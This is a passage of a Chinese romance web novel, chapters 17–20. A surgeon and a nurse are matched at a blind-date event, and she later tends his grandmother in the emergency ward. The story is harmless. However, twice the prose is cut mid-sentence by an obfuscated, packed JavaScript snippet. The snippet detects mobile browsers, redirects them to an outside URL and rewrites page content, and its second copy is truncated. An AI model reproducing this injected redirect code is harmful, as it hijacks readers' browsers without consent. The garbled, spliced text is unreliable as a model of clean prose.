杨淑梅摆摆手，“哪来那么多可是？来之前黎安已经答应我会考虑，我这不帮帮忙难道让他自己去报名？” 老太太有理有据，周芸尽管再三纠结，还是顺着老人的意愿，跟着一块去现场报了名。 活动一共分为两场，周芸算了一下周黎安的排班，最终替他选了初七下午。 两人谁都没有主动提这事，直到晚上吃完饭，周黎安意外现身。 “姑姑，活动是不是您帮我报的？”周黎安人刚进门，先翻出手机去问对方。 周芸支支吾吾，拿余光去瞟杨淑梅。 周黎安瞬间会意，走到客厅沙发上和老人理论。 “奶奶，这事您是不是该先知会我一下？” “知会什么，你那天不是休息？” “那您也不能自作主张替我报名吧？” “我不替你报名，难道你自己就会去？”杨淑梅“哼”了一声，冷脸道：“你要是听话，我这孙媳妇早就坐在我跟前了！” 理论无果，周黎安拿眼去看周芸。 周芸耸耸肩，“你答应过，不能反悔。” “你要不去，明天我就收拾东西回去！”老太太补了一句。 周黎安顿时没了招，“去，我听您的还不行？” 17. 017 时代广场每到过年就会举行大型相亲活动。 老太太也是和邻居闲聊时听说此事，当场就问对方要了地址，打算偷偷过去，没想到被女儿抓包。 初七。 中午刚吃完饭杨淑梅就撵周黎安出门。 “奶奶，时间还早。” “什么早不早，我是让你回去换件衣服。”老太太指着他身上那件黑色羽绒服各种挑毛病，“好歹去见姑娘，你这一身黑怎么能行，赶紧回去换！” 周黎安压根没动，完全当没听见。 “装装样子。”周芸走过来，小声支招。 “别以为我没听见啊，待会我也去！”老太太知道这个孙子平常最爱敷衍她，这次好不容易说动，她是无论如何都要监督到底。 “奶奶，您去凑什么热闹？” “防止你不上心。”老太太态度坚决，周黎安知道再往下说老人家指不定发什么脾气。 “行，我这就回去换衣服。” 周黎安走后周芸走到老太太跟前，边剥着花生壳边问：“妈，您是不是太着急了？” “还不是前几天我梦到你爷爷，他口口声声交代我一定要张罗好黎安的终身大事，我能不着急吗？” 提到往事，老太太明显变了脸色。 连往日最爱吃的花生也不吃了，一个人偷偷抹起眼泪。 周芸深知母亲的个性，表面看上去开朗乐观，实际上心里比谁都苦。 “妈，下午我陪您去。”周芸宽慰道：“我帮您一块把把关。” / 丁浅昨晚夜班，刚睡着没多久就被电话吵醒。 “喂？” “浅浅，十万火急，帮我个忙！”电话里，江洛风风火火，着急程度让人忍不住皱眉。 “我刚下夜班，能不能晚点再说？” “别别别，你先起来。” “嗯，起来了，快说。”丁浅哪是说起就起的人，嘴上应着，实际上只把眼睛给睁开。 “下午，替我去一下相亲活动。” “不去。” “帮个忙嘛，求求你了……” “是你要相亲，我去凑什么热闹？” “哎呀……”江洛开始撒娇：“我临时有事去不了嘛！” “那就不去，不就行了？” “下回人家就不邀请我了，你就帮我签个到，坐一会行不行嘛！” 见丁浅不为所动，江洛拿出诚意：“两顿，哦不，三顿，三顿夜宵行不行？” “随喊随到？” “行，你只要答应，就是让我替你扎针都行！”江洛自告奋勇，似乎还有些期待。 “扎针就算了，人命关天的事不能由你胡来。”丁浅揉着酸胀的额头，从被窝里慢慢坐起身，“你下午到底去哪？” “外地。陈越给我介绍了一位供货商，我得过去跟人谈业务。” 一听是为了工作，丁浅也就没再推辞，要了地址便掀开被子起床，全程怨气十足。 她对相亲活动提不起任何兴趣，之所以答应，完全是为了那三顿夜宵。 洗完脸，丁浅坐在梳妆台前拍了一遍水乳，正拿出粉底打算化妆，突然想到一件事。 自己是顶替江洛去参加，怎么说都不能出挑，否则事没办好还得惹上不必要的麻烦。 这么一想，她果断放弃化全妆的心思，简单涂了点唇彩换了身衣服直接出门。 时代广场是苏城这边集休闲娱乐为一体的综合性商圈。平常活动不少，丁浅刚下地铁就注意到马路边上一整排的宣传栏，都在介绍这场相亲活动。 临时打退堂鼓不是她的作风，丁浅抱着忐忑的心思往里走，心里默默念叨可别遇上什么熟人。 签了到，胸前被贴上号码牌，她正想趁机开溜的心思还没实现，工作人员已经在前方带路，领着她坐到指定区域。 事情完全出乎意料，丁浅在心里把江洛骂了不止一遍。 一点半，活动正式开始。 大屏幕已经播放起活动流程，身穿樱花粉礼服的主持人缓缓走上舞台。 按照规定，女嘉宾需要坐在指定的位置，与男嘉宾挨个进行为时三分钟的初步了解。 丁浅挨个点头微笑再然后开始做自我介绍，一套程序下来，僵硬程度媲美上台做汇报演讲。 她没细想那些男人嘴里的弦外之音，一听说她是酒吧老板之后，几乎没有一个人对她产生兴趣。 丁浅嘴角含笑，正合她意。 “你好！”她正低头在和江洛聊天，头没抬先打了声招呼。 “江洛？” 熟悉的声音，带着点不可思议的语气，莫名耳熟。 “你——” 丁浅赶紧将手机揣进兜里，抬头居然看见周黎安正坐在她对面。 同样也是一副不可思议的表情。 “周主任，您怎么也在？” “你不还改名换姓？” 这种活动不管是谁，遇上熟人都免不了难为情，何况丁浅与对面的男嘉宾不是一般熟悉。 “我…替朋友来的。”脸上陡然浮现一抹红色，将她白净的脸蛋衬托的更加清秀。 “猜到。” 要不然就她那些心思，不至于穿这么简单。 “那个，周主任你也需要相亲吗？”与其面对面干坐着，丁浅打算胡乱说些什么，反正三分钟很快。 “什么意思？” “别误会啊，我就是觉得凭你的长相收入，不至于找不到女朋友。” “你朋友也不差，不也单身？” “那倒也是。” …… 话题结束，丁浅没办法再跟周黎安对视，她将目光放得更远，一动不动盯着屏幕上的倒计时牌。 从周黎安的角度去看，丁浅确实没说谎。 换成任何一位有点期待的姑娘，不至于素面朝天过来。 如果他猜的没错，这姑娘纯粹是为了朋友。 “丁浅！”十五秒倒计时开始，周黎安扣了扣台面，娓娓开口说道：“帮我个忙。” “什么？” “省点事，待会互选。” 周主任发话岂能拒绝？ 丁浅迟钝半秒，在对方起身的间隙快速点头应下。 后面的那几位，丁浅全程都在走神。 不是被问是不是遇见了心仪的男嘉宾，就是被揣测是不是抵触这种活动，丁浅回答的很勉强，几乎是硬着头皮把流程走完。 活动进行到第二部分，主持人的热情更甚，在她慷慨激昂的发言里，大屏幕上一串串数字正在滚动，是刚刚结束之后男女双方心仪嘉宾的号牌。 “下面，我们一起倒数五个数，看看咱们今天这场活动中会有几对嘉宾牵手成功！” “五、四、三、二、一！”随着震耳欲聋的声音，丁浅的心提到了嗓子眼，她就不该这么听话。 一想到待会要跟周黎安坐在一块，她就有一种周围被人布下天罗地网，专抓她这种纯情姑娘的错觉。 “哇哦！” 相 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不仅没打扮，甚至只套了件棉服出门，还是最沉闷的黑色。 丁浅低头看了一眼，恨不得此刻钻进洞里。 “我的情况跟你差不多。”周黎安扫了一眼，干脆解释。 “那你——”丁浅想说那怎么还收拾的这么精致，没说完就被那道凌厉的目光吓退。 “年龄不同，关注度自然不一样。”周黎安是在看到不远处那顶时髦的毛线帽之后，才知道根本没办法半途离开。 他没打算把这些话告诉给一个年轻懵懂的小姑娘，毕竟被家人偷偷围观并不光彩。 “您大可不必。”丁浅以为周黎安对自己的年龄感到在意，本着打发时间的心思，她开导起对方：“其实您各方面都很优秀，所以年龄根本不算什么硬性条件，您没必要太在意别人的言论。” “嗯，知道。” “还有啊，就我们护士里，好几位找的都是年龄偏大的老公，用她们的话说，年纪大点更加成熟。” 周黎安本想提出质疑，见她板着脸正正经经开导他，顿时又有点不忍心。 他耐心听着，越听越觉得这姑娘果真没什么歪心思，越说越跑偏都没发现。 ‘年龄偏大的老公‘？‘我们护士’？确定没有把自己代入其中？ “你没想过谈个男朋友？”周黎安扫一眼现场，“好歹这么多人。” “还真没有。”丁浅正盯着前面的屏幕，津津有味看着他们在前台做游戏。 尴尬的肢体接触让男女双方的举动特别奇怪，丁浅没忍住笑出了声。 等到回过神才发现周黎安还在等她后面的回答。 “……哦，我不太喜欢相亲，总感觉太刻意了。”她目光再次溜到屏幕上，似乎看别人做游戏比跟他聊天有趣。 当对面坐着熟人又可以暂时忽视的时候，人的思想意识会逐渐松散。 丁浅开始把参加节目当成了观看演出，她眼睛盯着屏幕，手不自觉去包里翻找东西。 一块饼干送进嘴里的时候，才恍惚不对劲。 “对不起，我忘了。”丁浅连忙收到桌下。 周黎安勾唇一笑，情绪莫名被她带偏，他不露声色地问：“巧克力不吃了？” “不是，我出来没吃午饭。”丁浅有点不好意思，但还是将饼干递了过去，“坐着也挺无聊的，要不您也吃一块？” 18. 018 齁甜的饼干，腻的周黎安直皱眉。 他没让丁浅难堪，象征性拿了一块，越嚼越觉得腻人。 反观对面的姑娘一块接一块吃着，时不时对着屏幕傻笑，当真没把相亲当回事。 周黎安喝了口水，打开手机看起资料。 互不打扰的氛围，当真是这场活动带给他唯一的好处，直到游戏环节结束，他们再次被邀请上台。 丁浅与周黎安肩并肩站在一块，共同迎接着数不清的掌声，在掌声中她听见台下有人开始起哄。 “亲一个，亲一个！” 最初只是一两道，再之后源源不断的观众加入其中，演变成步调一致的口号。 主持人当然不会错过这么精彩的互动环节，本着在节目尾声要将活动推向新高度的想法，她清了清嗓子，示意台下安静。 “我知道大家对于咱们的活动抱有热烈的期待，但男女嘉宾毕竟才刚刚认识，这样吧，我们让他们用自己的方式表达一下，行不行？” “行！”整齐划一的声音里，丁浅悄悄打起退堂鼓。 “周主任，我们——”她眼神里带着些不自然的神色，一张脸早已羞得通红。 “你觉得怎么样合适？”周黎安看她。 “比个爱心？” 周黎安皱眉。 “要不…比个‘耶’也行——” 周黎安半边身子凑近，声音不自觉沙哑，“你当台下都是傻子？” 过于敷衍只会让围观者瞎起哄，搞不好弄得更加尴尬。 “那你说。”丁浅抿着唇，打算把这个烫手山芋扔出去。 “看看再说。”他缓一缓语气，“我尽量，不让你为难。” 众人的欢呼声中，前面几对认认真真做起表率，各种贴脸额头吻不断，引来台下一片欢呼。 丁浅越听越觉得不安，眼看还有一组就要轮到自己，她甚至手心都开始微微冒汗。 “配合点。” 丁浅扭头看了一眼，后知后觉开口问：“怎，怎么配合？” “抬手”周黎安半蹲下，趁着丁浅抬手的间隙，单手勾过她的双腿，将人抱起。 双腿突然腾空，丁浅第一反应就是去搂他的脖子，她的头埋的低，心跳很快，跟喝了烈酒似的。 腿上的力量源源不断充斥着她的感官神经，周黎安果真没让她难堪，只用手腕托着，另一只手完全没有任何触碰的行为。 呼吸近在咫尺，丁浅不用凑近就能闻见周黎安身上淡到不易察觉的香气，是某品牌男士护肤品的味道。 他的手臂力量属实惊人，丁浅没有任何不适症状，相反他单手抱人的举动还因此迎来一片喝彩。 从周黎安身上下来之后，丁浅脚后跟彻底发软，她双脚刚刚沾地人就往旁边倒。 似乎是早早预料到了，周黎安快速握住了她的手臂。 “谢谢。” “希望没让你为难。”周黎安松开，毫无征兆说了这么一句。 “没，没事。” 能把这种亲密举动做得天衣无缝，又得绅士礼貌，确实考验人，周黎安能做到不占她任何便宜属实不容易。 活动正式结束，加上后来游戏中加进来的三对，他们八对嘉宾都收到了活动主办方提供的礼品——一对铂金项链，以及两张西餐劵。 从台上下来，周黎安将东西一并交给丁浅，“你拿着，我用不上。” 丁浅看着手里两个盒子以及两张西餐劵，一时间有些束手无措。 “周主任，要不您拿一样？”担心对方会错意，丁浅忙又解释：“项链和西餐劵您选一个，总不能我都拿着。” 周黎安想说不用。 扭头看到小姑娘一脸诚恳，他目光从那张白净的脸上一闪而过，低头抽走了西餐劵。 项链对他无用，西餐劵好歹还能送人。 丁浅收好项链，便打算跟周黎安道别，刚抬起头就见对方正巧也朝她看了过来。 “走不走？”他问。 他所说的走是回家，正好顺路。 “啊…不用不用。”经过台上那一幕，她哪还好意思，连忙摆手推辞。 “走吧，今天帮了我大忙。” 有了这个理由，丁浅还想着拒绝就显得太小家子气，毕竟周主任刚刚说了，只是帮忙。 丁浅心安理得坐上奥迪的副驾驶，甚至在汽车发动前早早扣好了安全带。 汽车从停车场驶入地面，明亮的光线刺得人睁不开眼。 看着周围一派喜气洋洋的景象，丁浅没话找话，开口问正在开车的男人，“周主任，您回上海过年了吗？” 周黎安入职当天曾做过自我介绍，说自己祖籍苏城，但生长在上海。 丁浅理所当然认为，他的所有人际关系都在那边。 “加班。”周黎安道。 “您的家人没有怨言吗？” 就丁浅自己，过年加了几天班，张初华和丁建国就心疼的不行，她很难想象周黎安这个级别的大主任常年忙于工作，很难不让家人担心。 “家里老人一直在这边。” “那你爸妈——”说了一半，丁浅突然及时打住，她这行为跟人口普查没什么区别，于是改说起其他事情。 “我爸妈也是医护工作者，支援西藏意外去世了。”周黎安表情淡漠，像在说一件再寻常不过的事情。 丁浅只知道周黎安的爷爷过世，关于其他一概不知。 今日无事时的闲聊却无意窥探到他的隐私，丁浅倍感愧疚，连说了三声对不起。 “我真不知道。我就是怕您开车无聊，没想窥探您的私事。” “知道。”趁着前方道路顺畅，周黎安撇了一眼，小姑娘半边身子都对着他这边，委委屈屈的样子，属实不多见。 周黎安几乎没见她这样过，哪怕之前当众训斥，她也是默不作声，并没有露出一点儿异样。 今日却让他小瞧了。 “坐好。”他低声训斥：“话是从我嘴里说的，你赶着道什么歉？” “那也是我问您才说的，我要不问您哪能说这些？”丁浅委屈巴巴，声音越来越低，真有把所有责任都揽到自己身上的意思。 “陈年旧事，不算什么秘密。” 丁浅不敢再随意接话，闷着头一路沉默。 后来大概是太安静的缘故，她竟然歪靠在车窗上睡着了。 车到玉兰苑门口，周黎安才发现。 光线照射在她白净的脸上，眼下那片乌青一目了然，她大概真的挺困，否则不会不知道，有人已经默默观察了好一会儿。 自从大学那段感情之后，周黎安没特意认识年纪相仿的女性，更不用说丁浅这般年纪较轻的姑娘家。 像今天这种不可避免的肢体接触，已经打破他的交友范围。周黎安不知道丁浅作何感想，就他而言， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399940|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只觉得小姑娘太瘦，托起来毫不费事。 周黎安并没有体谅人的习惯，等了十来分钟发现丁浅没有要醒的趋势，他果断将人叫醒。 “丁浅！” 丁浅浑身一激灵，吓得立马要站起身。 察觉腰上被什么东西束缚着，才恢复清醒。 “不好意思，我睡着了。” “回去睡。”周黎安摁下车锁。 “谢谢您送我回来，您开车注意安全。”丁浅站在窗外，边打着呵欠边和他挥手告别。 这次周黎安没等她转身，先一步把车开走。 他不赶时间，但总觉得自己多停留一秒，心里的纵容就会多增加一分。 他跟她毫无关系，没有必要给人误会的讯息。 / 当晚，周黎安不可避免被杨淑梅追问。 “快说说，今天那姑娘多大岁数？”老太太连电视剧都没兴趣看，端着盘花生坐到孙儿旁边，打算仔仔细细盘问清楚。 “没问。”周黎安看着手机，没太多倾诉的欲望。 “那工作总该知道吧？” “护士。” “在哪工作？不会这么巧跟你一家医院吧？”老太太当初确实不赞同孙儿学医，但听说人姑娘是位护士，多少觉得有点凑巧。 “人没说。” “没问没说，我看你就是在敷衍我！”杨淑梅一脸不高兴，“你跟我说句实话，打不打算跟人家接着相处？” “不打算。” 老太太一拍桌子，声音猛地提高三分，“你不是都跟人家互选了，还对人家没有意思？” “接触下来发现对方是护士，我不太中意。”周黎安解释：“我妈也是护士，心里别扭。” 周黎安只说了一半实话。 陈婉，他的母亲，确实是一名优秀的白衣天使，相比亲情周黎安更多是对母亲有着钦佩的感情。 他见过急诊车来时，母亲毫不犹豫撇下他去救助伤患；看到母亲轻声细语安慰年长生病的老人，他知道护士是个非常神圣且无比辛苦的职业。 他没有不中意这个职业，而是出于自己对感情的认知。 周黎安很清楚，只要拿这话堵人，绝对百分百管用。 “我看你们还一块上台呢，怎么就这么巧呢？”老太太一脸失望，端着花生走了。 周芸见状，走过来拍了拍周黎安的肩膀。 “老太太白天还乐呵呵地说那姑娘看着眉清目秀，特别中意呢！” 周黎安：“……” 要让老人家知道，那姑娘可是能在酒吧呼风唤雨，指不定怨气更大。 周黎安坐了一会就回江南华府，人刚进家门，陈越的电话来了。 “哥，听我妈说你今天相了位护士？” “消息挺灵通。” “你的事向来是家里的头等大事，我能不关注？” 周黎安无声“哼”了下，想起多出来的两张西餐劵，他问：“你今天去哪了？” “在外地，没赶回来。” “旅游？” “哪能啊，陪江洛过来谈业务。” “江洛？” “你忘了？不夜城的老板啊，浅浅的朋友。” “没忘。” “哥，你有事找我？” “得了两张西餐劵，改天给你。” 电话挂断，周黎安不可避免觉得好笑。 19. 019 杨淑梅因为孙儿相亲泡汤连着两日都食不滋味，周芸见状买了些车厘子说是给她改改胃口。 老太太心里堵气又无处发泄，连吃了几颗发现心头舒坦不少，于是没管女儿如何叮嘱，接连吃了不少。 中午，老太太吃完午饭刚准备睡下小歇一会，陡然腹中一阵绞痛，半个小时接连去了三次卫生间，这才打电话给周芸。 周芸出差，没办法赶回来，就将这事通知给周黎安。 “今天有没有手术？” “临时加了一台，晚点上。” “那你看看有没有时间回去一趟，奶奶说她肚子疼的厉害。”丈夫和儿子都出门旅游去了，周芸急的不行。 “您别担心，我这就回去。”周黎安宽慰几句，挂了电话拿上钥匙出门。 钱唐刚吃完午饭回来，碰巧看见周黎安风风火火往外走，想起临时增加了一台手术，他委婉提醒：“主任，下午您有台手术——” “很快回来。” 接了杨淑梅，周黎安直接去了急诊。 急诊没有特定的上班时间，刚过饭点，偌大的急诊室里几乎没有前来看病的患者。 周黎安陪着老太太做完一系列的检查，确定只是细菌感染之后，便拿着缴过费用的单据去了输液区。 输液那边异常安静。 绝大多数病人都靠在座椅上昏昏欲睡，旁边陪同的哪怕没有睡意，也是调低了音量在看手机。 周黎安将单子交给专门负责登记的护士，便带老人找了个座位安心等着。 丁浅吃完饭，回来刚巧看见周黎安。 高大的身型立在一位小老太太身边，神情凝重，情绪不明。 座位上的老太太双手捂着肚子，尽管看上去还算健朗，可由于腹中难受，气色欠佳。 她没多想，手揣着口袋径直走了过去。 “周主任？”丁浅轻轻喊了一声。 闻言，连同身边那位小老太太一致都把目光投了过来。 丁浅朝人微微点了下头，主动打起招呼：“奶奶，您哪里不舒服？” “车厘子吃多了。”周黎安率先替老人解释。 “天冷，贪凉可不行。” “心里不舒坦，一时没在意。”杨淑梅肠胃不舒服，说话都显得有气无力，根本没去在意丁浅长什么样。 “不是大问题，待会等挂上水就好了。”丁浅说完正要回护士台，周黎安的电话却响了。 是钱唐，催他回心外科。 “马上过来。”挂了电话他和杨淑梅低声解释：“奶奶，我那边有手术得提前过去，我给护士打声招呼行吗？” “行，怎么不行？”老太太身子骨一向硬朗，要不是今日胃里不舒服，早早就将人给轰走了。 周黎安收起手机，打算和护士台前的护士交代两句，转头觉得不妥又专门去找丁浅。 “丁浅！” “怎么了周主任？”丁浅刚替人换了吊瓶，手里正拿着空掉的玻璃瓶往回走。 “帮个忙，老太太帮我顾着点，我下手术过来。” 心外科临时加台手术已是常态，丁浅抬手看了一下时间，催道：“这边您放心，您赶紧过去吧。” 周黎安点点头，快步出了急诊大厅。 沈佳坐在护士台，一直偷瞄两人。 见人走了，她才伸手拱了拱丁浅，“周主任一向这么客气吗？我怎么听人说他脾气不太好呢？” “得看情况。”丁浅处理掉空瓶，清理完双手便去座位上找人。 “奶奶，您过来这边坐，我替您吊水。” 一听马上就能挂上点滴，老太太强打起几分精神，边看着丁浅替她消毒扎针，边时不时打量对方。 小姑娘眉眼生的俊俏，一双水汪汪的大眼睛，见人就笑。刚刚她没戴口罩，杨淑梅只记得那张脸只有巴掌大，浅浅的酒窝似曾相识。 眼下这么凑近一看，杨淑梅突然看出了点名堂。 / 丁浅替老太太挂上水，将人送到离护士台最近的位置坐下，转身从更衣室拿来毛毯替老人盖在手背上，之后才回护士台。 中途，老太太去了两趟卫生间，丁浅说要陪着一块去，硬是被拒绝。 老人家口口声声表示自己身体硬朗，去趟厕所根本没有问题。 丁浅没再坚持，等老太太回来后替她添了些热水，又重新投入工作。 太阳西沉，老太太的药水也挂结束。 丁浅记着周黎安说过的话，让老太太在输液室再待会。 “您要突然走了，回头我不好交代。”丁浅含蓄着解释，没趁机说人坏话。 “行吧，也不能让你一个小姑娘为难。”杨淑梅观察了一下午，此时已经非常确定眼前的小姑娘就是活动现场那位。 甚至她开始怀疑，自己的孙儿之所以跟她互选，很有可能是拿身份“威胁”了人家。 孙儿没来，杨淑梅的心思暂且落空，她坐在位置上有些不耐烦起来。 旁边座位上有位抱着孩子的女人，正轻声哄着怀里闹情绪的幼儿，小孩子怎么哄都无济于事，就是不肯从女人身上下来。 杨淑梅看了一眼扶手上刚刚拆开吃了两口的盒饭，免不了替人感到心疼。 “现在的孩子真难带哟！” “可不是嘛，赶上刚刚上班，老公都赶不回来。”女人叹了口气，用仅有的耐心去哄怀里还在吵闹的孩子。 “奶奶，您先吃点。” 杨淑梅正和女人有一句没一句的闲聊着，眼看着丁浅递过来两袋面包，眼里止不住感到欣喜。 “给我的？” “没有奶油，您先垫垫肚子。” “这怎么好意思呢？”杨淑梅有些意外，伸手推了两下发现没用，只能伸手接过。 “您客气了。” 说完丁浅抬头去看旁边孩子头顶的吊瓶，发现速度被人动过，她重新调整好低声交代女人：“孩子太小，点滴速度不能加快，您别再随意调节了。” “我也是想早点结束呀。我这饭没吃，孩子又闹腾，没等他好我自己都要亏了。”女人越说越急，情绪上来，忍不住落了两滴泪。 丁浅看了一眼护士台，好在只有两三位病人。 她将口袋边的挂表和几只笔一并摘下，伸手示意女人怀里吵闹的孩子，“阿姨抱会，让妈妈先吃饭好不好？” 小朋友有些谨慎，顶着一双哭红的大眼睛拼命摇头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411979|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“阿姨抱一抱，明天就不用来医院了。”丁浅将旁边的挂表拿在手里，“你乖乖听话，阿姨这个玩具借你玩。” 小孩挣扎了一下，最终朝她张开双手。 / 周黎安赶过来的时候，恰好看到这一幕。 夕阳落在白色地砖上，投射的光影将前方姑娘的身型逐渐拉长。 身穿紫色护士服的小护士背对着门口，纤细的臂弯里抱着个两三岁的孩子。 不知说了什么，小小的孩子竟然搂住她的脖子各种撒娇，左右摆动的小腿在她衣服两侧来回荡着，一看就知道，定是被甜言蜜语哄的。 “阿姨是奥特曼变的，专打让小朋友感冒的坏蛋。” “丁浅！” 丁浅正逗着孩子，听见声音顺势转过身，笑容还挂在脸上，那张因孩子夸她越发绯红的脸蛋，顺着那些金色的光晕一并映入眼帘。 “刺眼刺眼！” 怀里的孩子揉着眼睛，直喊难受。 丁浅见状，赶紧伸手替他遮住，生怕耀眼的光芒惹得孩子再次闹情绪。 “周主任。”她开口应了一声。 女人已经吃完，此时将孩子从丁浅手里接了过来。 “麻烦你了。” “不麻烦，奶奶状态挺好的。” 丁浅边整理挂表边蹲下身叮嘱杨淑梅，“奶奶，回去后先忌口几天，别吃的太油腻。” “好嘞，这回我肯定注意。” “那不打扰您，我先回去了。”丁浅没有多待，简单交代几句便回了护士台。 隔着一小段距离，周黎安不费事就能看到那抹靓丽的紫色。 那姑娘正低头给人扎针，额前的刘海微微盖住明眸，将她仅露出来的那双大眼睛遮了一半，她的表情过分专注，以至于并没有注意到他。 心不由被羽毛轻轻扫过。 周黎安好多年没有过这样的感觉，哪怕是当初谈恋爱的时候，他也几乎都是被对方推着往前走。 他从未试过主动敞开心门去认识其他人，更别提比他小好几岁的姑娘。 直到刚刚，他那封闭已久的大门似乎松动。 眼前那抹紫色挥之不去，身后杨淑梅故意清着嗓子的声音又源源不断传入耳畔。 “来了也不知道关心关心我！”老太太板着脸，有些生气。 周黎安连忙坐下，开始询问起老人下午的状况。 “人家小丁就是比你会照顾人！”杨淑梅将手里的毛毯和没吃完的面包一并拿给周黎安，“你看看，给我拿了毛毯，还怕我饿着给了面包。你倒好，来了不闻不问，眼睛不知道在看什么！” “要不是人家看你的眼神坦坦荡荡，我真怀疑小丁喜欢你！”杨淑梅是故意的，她就是想看看周黎安要怎么回答。 “我托人家照顾您，还错了？” “肯定没少苛刻人家。” 周黎安想要解释，想想老太太那副笃定的神情，也就没打算再掩饰什么。 “苛刻谈不上。那会她在心外科，确实是严格了些。” “我就知道！”杨淑梅起身将周黎安拉到旁边，拿出憋了一肚子的话，来问：“你实话告诉我，你不是在意护士这个职业，是不是？” 20. 020 “不说话就是默认了。”杨淑梅紧接着又问：“那你告诉我，你不想跟小丁相处是觉得人家年纪太小，是不是？” 周黎安不由一愣。 他没想过老太太会这么直截了当问他。 他想过，丁浅穿护士服跟平常区别挺大，不至于让人发现。 可老太太不仅发现了，而且正用虎视眈眈的眼神盯着他。 “奶奶，咱们边走边说——”周黎安试图将老太太先哄上车，可杨淑梅等不及非要他解释清楚。 “人家多大我多大？您能不能要乱点鸳鸯谱？” “什么年代了还在意年龄，我怎么不知道我的孙儿这么古板？”杨淑梅点点周黎安胸口，一脸恨铁不成钢的指责他：“你要有你爸一半勤快，小丁早进我们周家大门了！” “子虚乌有的事情您就别再多想了。” 解释起那天活动上的情形，周黎安特意将丁浅那边的情况说得更加详细，目的就是想彻底打消老太太胡思乱想的心思。 在他说完之后，杨淑梅明显失望。 周黎安边搀扶着老太太往外走，边仔细叮嘱：“这事您回去别跟陈越说，他们私底下是朋友。” “还有这一层关系呢？”杨淑梅愁云惨淡的脸上陡然生出一抹光，亮堂堂的眼睛里似乎已经捕捉到了重要讯息。 “您打住！您要真觉得小丁人好，应该让陈越去追，他们年龄相仿，又有共同话题。” “他？他不合适。”杨淑梅摆摆手，踱着步子直往前走。 老太太的表情像极了得了算命大师的真传，眼神透着笃定，仿佛未来将要发生什么，都在她的掌控之内。 “您为什么觉得陈越不合适？” “陈越看起来听话实际上心思散漫，小丁真要跟他在一块迟早还得分。” “你不一样”杨淑梅话锋一转，仰头看着旁边跟堵墙一样的孙儿，“你看着脾气臭，实际上愿意迁就别人。你别看小丁年纪小，她要答应跟你在一块，拿住你分分钟的事！” 老太太越说越来劲，人还没走到停车场就已经把三人性格分析的头头是道，好像他真的决定要追人似的。 周黎安满脸不可思议，正要出言打断，谁知老太太瞅见手里那条毛毯，后知后觉拍了一下大腿。 “光顾着跟你说话，把正事给忘了。”杨淑梅将毛毯塞到周黎安手里，“小丁的，赶紧送回去。” “明早上班我顺带送，人这会指不定忙着。” “我的话也不听？” 周黎安没辙，解开安全带正要下车，又被老太太叫住。 “问问小丁这面包哪里买的，听见没有？” “听见了。”周黎安耐心用尽，下车扭头直奔急诊科。 / 更衣室里，丁浅正在吃饭。 沈佳进来喝水，见她狼吞虎咽忍不住想笑，“你还没说完呢，怎么个情况。” “工作上严格到能让你怀疑人生，好像连呼吸一下都是错的。排除工作——” 想到他私底下主动提出送她，主动和她聊起家事，丁浅不止一次认为周黎安给人的反差感太大，让她一时找不到更好的词语来形容。 “排除工作怎么样？”听了一知半解，沈佳忍不住问。 “就还——” “丁浅！”门外的声音打断了更衣室里两人的谈话声。 丁浅莫名松了口气，真要让她说，恐怕一两句没办法解释清楚。 门外正是周黎安。 “周主任回头可得请我们小丁吃饭啊，人家低血糖晚饭没吃帮你守着老太太呢！”沈佳笑着从里面走出来。 “沈佳！”丁浅无比尴尬，尤其还当着周黎安的面。 沈佳一脸无所谓，哼着歌大摇大摆地回护士台，权当没听见。 人一走，更衣室周围只剩下他们俩。 大门开着，丁浅看到周黎安站在门外，手里正拿着她给老太太用过的毛毯。 “是要把毛毯给我吗？”丁浅放下筷子从座位上起身。 她摘了口罩，红润润的脸颊，分明是被人调侃过的嫣红色。 “嗯，忘记了。”周黎安递上毛毯，至始至终脚步都没有往前多跨一步。 “改天给也行，真不用特意再跑一趟。”丁浅接过毛毯，抱在怀里。 “奶奶的意思。”周黎安解释。 这话听着正常，但语调放得又缓又慢，加上并不是在谈论工作，就会造成一种周黎安在照顾她想法的错觉。 丁浅想到了那天在台上，他放自己下来时说的“希望没让你为难”那句，语气一样，都带着点儿微微的宠溺。 丁浅点点头，拿了毛毯正要回去接着吃饭，周黎安目光掠过她的头顶，径直看到正对着门口的那张桌子。 确实跟刚刚那位同事说的，她在吃饭。 “你不说老太太状况还不错，怎么没时间吃饭？”周黎安问。 突然提起，丁浅不可避免脸红，想到沈佳随口乱说的事情并非事实，她主动澄清：“您别听我同事的，她不知道情况。” “什么意思？” “帮人家抱了会孩子，正巧低血糖了。” “你倒是挺有职业精神。” 丁浅撇撇嘴，知道自己一旦开口指定要被教育。 “别人送的？”周黎安刚刚就注意到饭盒旁边有盒巧克力和一捧鲜花，此时机会合适，他才漫不经心地开口来问。 以他对丁浅的了解，不是自己的东西那姑娘不可能将饭盒放在旁边，尤其那花是一捧娇艳欲滴的粉玫瑰。 “你说这个？”丁浅扭头，指着巧克力和鲜花，笑说：“江洛送的。” 周黎安盯着又看了一眼，似乎有些意外。 / 周六。 丁浅休息。 昨晚就和江洛约好今天要去她那过生日，为此丁浅没少折腾。 衣服自然按照心情选了明黄色针织衫，想到上回出门被冻得够呛，她从衣柜里翻出一条直筒裤穿上。 